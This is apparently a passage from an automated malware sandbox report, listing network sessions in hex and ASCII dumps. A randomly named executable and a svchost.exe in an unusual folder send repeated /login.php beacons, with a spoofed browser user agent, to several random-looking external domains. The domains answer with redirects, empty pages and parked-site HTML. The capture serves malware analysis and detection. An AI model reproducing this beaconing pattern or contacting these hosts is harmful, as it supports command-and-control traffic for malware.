                                                                                                                                                                                                          Data Ascii: ="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=funct
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731292963 CET80INData Raw: 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 21 3d 2d 31 29 7b 63 2e 70 75 73 68 28 65 2e 73 75 62 73 74 72 28 65 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 2b 38 2c 32 29 2e 74 6f 55 70 70 65 72 43 61 73 65
                                                                                                                                                                                                          Data Ascii: .indexOf("cmplang=")!=-1){c.push(e.substr(e.indexOf("cmplang=")+8,2).toUpperCase
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731340885 CET1236INData Raw: 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74
                                                                                                                                                                                                          Data Ascii: ())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLanguage" in
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731399059 CET1236INData Raw: 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a 22 7d 76 61 72 20 67 3d 28 22 63 6d 70 5f 72 65 66 22 20 69 6e 20 68 29 3f 68 2e
                                                                                                                                                                                                          Data Ascii: mp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_design:"");var f=x("cmpregula
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731420994 CET1236INData Raw: 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 64 65 62 75 67 75 6e 6d 69 6e 69 6d 69 7a 65 64 22 2c 22 63 6d 70 64 65 62 75 67 75 6e 6d 69 6e 69 6d 69 7a 65 64 22 20 69 6e 20
                                                                                                                                                                                                          Data Ascii: ppendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a=="1"){m="instrumented";p=""}var j=u.creat
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731436014 CET636INData Raw: 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3b 76 61 72 20 66 3d 22 22 3b 76 61 72 20 64 3d 30 3b 77 68 69 6c 65 28 62 21 3d 22 22 26 26 64 3c 31 30 30 29 7b 64 2b 2b 3b 77 68 69 6c 65 28 62 2e 73 75 62 73 74 72 28
                                                                                                                                                                                                          Data Ascii: (h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.substring(b.indexOf("=")+1,b.indexOf(";"))}else{var c=b.subs
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731445074 CET1236INData Raw: 2c 74 72 75 65 29 7d 7d 65 6c 73 65 7b 69 66 28 61 5b 30 5d 3d 3d 3d 22 67 65 74 55 53 50 44 61 74 61 22 29 7b 61 5b 32 5d 28 7b 76 65 72 73 69 6f 6e 3a 31 2c 75 73 70 53 74 72 69 6e 67 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 28 22 22 29 7d 2c
                                                                                                                                                                                                          Data Ascii: ,true)}}else{if(a[0]==="getUSPData"){a[2]({version:1,uspString:window.cmp_rc("")},true)}else{if(a[0]==="getTCData"){__cmp.a.push([].slice.apply(a))}else{if(a[0]==="addEventListener"||a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a)
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731456995 CET1236INData Raw: 61 74 61 22 29 7b 72 65 74 75 72 6e 7b 73 65 63 74 69 6f 6e 49 64 3a 33 2c 67 70 70 56 65 72 73 69 6f 6e 3a 31 2c 73 65 63 74 69 6f 6e 4c 69 73 74 3a 5b 5d 2c 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 3a 5b 30 5d 2c 67 70 70 53 74 72
                                                                                                                                                                                                          Data Ascii: ata"){return{sectionId:3,gppVersion:1,sectionList:[],applicableSections:[0],gppString:"",pingData:window.cmp_gpp_ping()}}else{if(g==="hasSection"||g==="getSection"||g==="getField"){return null}else{__gpp.q.push([].slice.apply(a))}}}}}};window.
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.736226082 CET1236INData Raw: 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 2c 22 70 61 72 61 6d 65 74 65 72 22 20
                                                                                                                                                                                                          Data Ascii: :g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},"parameter" in b?b.parameter:null,"version" in b?b.version:1)}};window.cmp_setStub=function(a){if(!(a in window)||(typeof(window[a])!=="function"&&typeof(window[a])!=="objec


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          44192.168.2.66348375.2.71.199801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.302927971 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.729882956 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Location: https://puzylyp.com/login.php
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:37 GMT
                                                                                                                                                                                                          Content-Length: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          45192.168.2.66348244.221.84.105801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.303481102 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345181|1731345181|0|1|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.730304956 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:37 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345217|1731345181|18|2|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          46192.168.2.663484188.114.97.3801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.435569048 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.055206060 CET968INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:38 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v3ax1dhgyv%2F4bW7p3det0ml0aGT7FqEa3nF8WHayzu8RiQlVaH0gs6Rm7no3J9VTMFRJ0CqHVnn%2F5H63Neo4hznPpKj5qbpxM%2FodoS4Pbtpomda0T7mPYLlBrzmaGg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9faba2c5762-TLH
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=25456&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.861691952 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.260210991 CET975INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:41 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oBUEKqzNCMU3H8JN0B6DxVos9TpjafkmRUIY1ycNkpYAF0IgR5p4PIJJRE%2B4kVkdvbj6D%2BiGGaheT2DmX9dXHCTbPsL8GLt%2Bcgj1n5k0xdbR9ES2XE9odoRJTfyyFg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fea0ec9705762-TLH
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=25469&sent=4&recv=6&lost=0&retrans=0&sent_bytes=968&recv_bytes=486&delivery_rate=113023&cwnd=32&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          47192.168.2.66348518.208.156.248801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.488403082 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vonypom.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345181|1731345181|0|1|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.917001009 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:37 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345217|1731345181|18|2|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          48192.168.2.66349264.190.63.136804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.232637882 CET348OUTGET /login.php?sub1=20241112-0413-3653-b9c7-4bbc444bdc48 HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww16.vofycot.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: __tad=1731345193.3163760
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877535105 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:38 GMT
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          transfer-encoding: chunked
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                          cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                          pragma: no-cache
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_2aR2X2tn634XJmbhLe9nbA7FZP49f9RBCLux1Y3dARdyFF7/jskWtBTsQGWfFrlxFlLAn2UAw6d/zf2HEjEQdg==
                                                                                                                                                                                                          last-modified: Mon, 11 Nov 2024 17:13:38 GMT
                                                                                                                                                                                                          x-cache-miss-from: parking-7596689c44-prw7b
                                                                                                                                                                                                          server: Parking/1.0
                                                                                                                                                                                                          Data Raw: 38 35 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 32 61 52 32 58 32 74 6e 36 33 34 58 4a 6d 62 68 4c 65 39 6e 62 41 37 46 5a 50 34 39 66 39 52 42 43 4c 75 78 31 59 33 64 41 52 64 79 46 46 37 2f 6a 73 6b 57 74 42 54 73 51 47 57 66 46 72 6c 78 46 6c 4c 41 6e 32 55 41 77 36 64 2f 7a 66 32 48 45 6a 45 51 64 67 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: 858<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_2aR2X2tn634XJmbhLe9nbA7FZP49f9RBCLux1Y3dARdyFF7/jskWtBTsQGWfFrlxFlLAn2UAw6d/zf2HEjEQdg==><head><meta charset="utf-8"><title>vofycot.com&nbsp;-&nbsp;This website is for sale!&nbsp;-&nbsp;vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and bes
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877563953 CET1236INData Raw: 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d
                                                                                                                                                                                                          Data Ascii: t source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com has it all. We hope you find what you are searching for!"><link rel="icon" type="image/png
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877573967 CET1236INData Raw: 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f
                                                                                                                                                                                                          Data Ascii: ine-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}butt
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877646923 CET1236INData Raw: 74 74 6f 6e 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70
                                                                                                                                                                                                          Data Ascii: tton;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.anno
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877657890 CET848INData Raw: 2d 73 69 7a 65 3a 31 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72
                                                                                                                                                                                                          Data Ascii: -size:10px}.container-disclaimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint__conte
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877670050 CET1236INData Raw: 65 73 73 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 35 25 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 35 25 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 5f 5f 63
                                                                                                                                                                                                          Data Ascii: essage__content-text{margin-left:15%;margin-right:15%}.container-cookie-message__content-interactive{text-align:left;margin:0 15px;font-size:10px}.container-cookie-message__content-interactive-header,.container-cookie-message__content-interact
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877680063 CET212INData Raw: 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 2d 39 39 39 7d 2e 62 74 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73
                                                                                                                                                                                                          Data Ascii: splay:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius:5px;padding:15px 25px;text-align:center;text-decoration:none;cursor:pointer;margin:5px;transition:.3s}.btn--success{background-co
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877690077 CET1236INData Raw: 6c 6f 72 3a 23 32 31 38 38 33 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 78 2d 6c 61 72 67 65 7d 2e 62 74 6e 2d 2d 73 75 63 63 65 73 73 3a 68 6f 76 65 72 7b
                                                                                                                                                                                                          Data Ascii: lor:#218838;border-color:#218838;color:#fff;font-size:x-large}.btn--success:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:x-large}.btn--success-sm{background-color:#218838;border-color:#218838;color:#fff;font-size:in
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877702951 CET1236INData Raw: 65 64 2b 2e 73 77 69 74 63 68 5f 5f 73 6c 69 64 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2b 2e 73 77 69 74 63 68 5f 5f 73 6c 69 64 65 72 7b 62 6f 78 2d 73 68 61 64 6f 77
                                                                                                                                                                                                          Data Ascii: ed+.switch__slider{background-color:#007bff}input:focus+.switch__slider{box-shadow:0 0 1px #007bff}input:checked+.switch__slider:before{-webkit-transform:translateX(26px);-ms-transform:translateX(26px);transform:translateX(26px)}body{backgroun
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877716064 CET1236INData Raw: 69 67 68 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 22 2f 2f 69 6d 67 2e 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 74 65 6d 70 6c 61 74 65 73 2f 62 67 2f 61 72 72 6f 77 73 2e 70 6e 67 22 29 20 23 30 65 31 36 32 65 20 6e 6f 2d 72 65
                                                                                                                                                                                                          Data Ascii: ight{background:url("//img.sedoparking.com/templates/bg/arrows.png") #0e162e no-repeat top left;backgro576und-size:94% 640px;flex-grow:1;position:inherit;top:90px;overflow:hidden;-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-tr
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.882539034 CET1236INData Raw: 69 74 65 64 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 68 6f 76 65 72 2c 2e 74 77 6f 2d 74 69
                                                                                                                                                                                                          Data Ascii: ited{text-decoration:underline}.two-tier-ads-list__list-element-link:hover,.two-tier-ads-list__list-element-link:active,.two-tier-ads-list__list-element-link:focus{text-decoration:none}.webarchive-block{text-align:center}.webarchive-block__hea


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          49192.168.2.66351723.253.46.64801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.852374077 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.307938099 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Content-Type: text/html
